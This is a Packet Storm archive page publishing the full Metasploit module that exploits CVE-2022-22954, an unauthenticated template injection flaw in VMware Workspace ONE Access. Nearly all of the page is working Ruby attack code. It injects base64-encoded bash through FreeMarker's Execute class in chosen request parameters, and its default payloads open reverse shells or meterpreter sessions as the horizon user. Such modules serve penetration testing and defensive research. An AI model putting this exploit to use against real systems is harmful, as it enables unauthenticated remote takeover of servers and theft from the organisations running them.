exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

VMware Workspace ONE Access Template Injection / Command Execution

VMware Workspace ONE Access Template Injection / Command Execution
Posted May 3, 2022
Authored by mr_me, wvu, Udhaya Prakash | Site metasploit.com

This Metasploit module exploits CVE-2022-22954, an unauthenticated server-side template injection (SSTI) vulnerability in VMware Workspace ONE Access, to execute shell commands as the horizon user.

tags | exploit, shell
advisories | CVE-2022-22954
SHA-256 | bf4114fce190a8b9bc1f2bfc2013620b04b05e7030c7cc59f3d685b8db2038b1

VMware Workspace ONE Access Template Injection / Command Execution

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager

def initialize(info = {})
super(
update_info(
info,
'Name' => 'VMware Workspace ONE Access CVE-2022-22954',
'Description' => %q{
This module exploits CVE-2022-22954, an unauthenticated server-side
template injection (SSTI) in VMware Workspace ONE Access, to execute
shell commands as the "horizon" user.
},
'Author' => [
'mr_me', # Discovery
'Udhaya Prakash', # (@sherlocksecure of Poshmark Inc.) PoC
'wvu' # Exploit and independent analysis
],
'References' => [
['CVE', '2022-22954'],
['URL', 'https://www.vmware.com/security/advisories/VMSA-2022-0011.html'],
['URL', 'https://srcincite.io/advisories/src-2022-0005/'],
['URL', 'https://github.com/sherlocksecurity/VMware-CVE-2022-22954'],
['URL', 'https://attackerkb.com/topics/BDXyTqY1ld/cve-2022-22954/rapid7-analysis']
# More context: https://twitter.com/wvuuuuuuuuuuuuu/status/1519476924757778433
],
'DisclosureDate' => '2022-04-06',
'License' => MSF_LICENSE,
'Platform' => ['unix', 'linux'],
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
'Privileged' => false,
'Targets' => [
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ARCH_X86, ARCH_X64],
'Type' => :dropper,
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 443,
'SSL' => true
},
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
}
)
)

register_options([
OptString.new('TARGETURI', [true, 'Base path', '/'])
])
end

def check
ret = execute_command("echo #{token = rand_text_alphanumeric(8..16)}")

return CheckCode::Unknown unless ret
return CheckCode::Safe unless ret.match?(/device (?:id|type): #{token}/)

CheckCode::Vulnerable
end

def exploit
print_status("Executing #{payload_instance.refname} (#{target.name})")

case target['Type']
when :cmd
execute_command(payload.encoded)
when :dropper
execute_cmdstager
end
end

def execute_command(cmd, _opts = {})
bash_cmd = "bash -c {eval,$({echo,#{Rex::Text.encode_base64(cmd)}}|{base64,-d})}"

vprint_status("Executing command: #{bash_cmd}")

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, ssti_uri),
'vhost' => rand_text_alphanumeric(8..16),
'vars_get' => {
%w[code error].sample => rand_text_alphanumeric(8..16),
# https://freemarker.apache.org/docs/api/freemarker/template/utility/Execute.html
ssti_param => %(${"freemarker.template.utility.Execute"?new()("#{bash_cmd}")})
}
}, 3.5)

return unless res
return '' unless res.code == 400 && res.body.include?('auth.context.invalid')

res.body
end

def ssti_uri
%w[
/catalog-portal/hub-ui
/catalog-portal/hub-ui/byob
/catalog-portal/ui
/catalog-portal/ui/oauth/verify
].sample
end

def ssti_param
%w[deviceType deviceUdid].sample
end

end
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close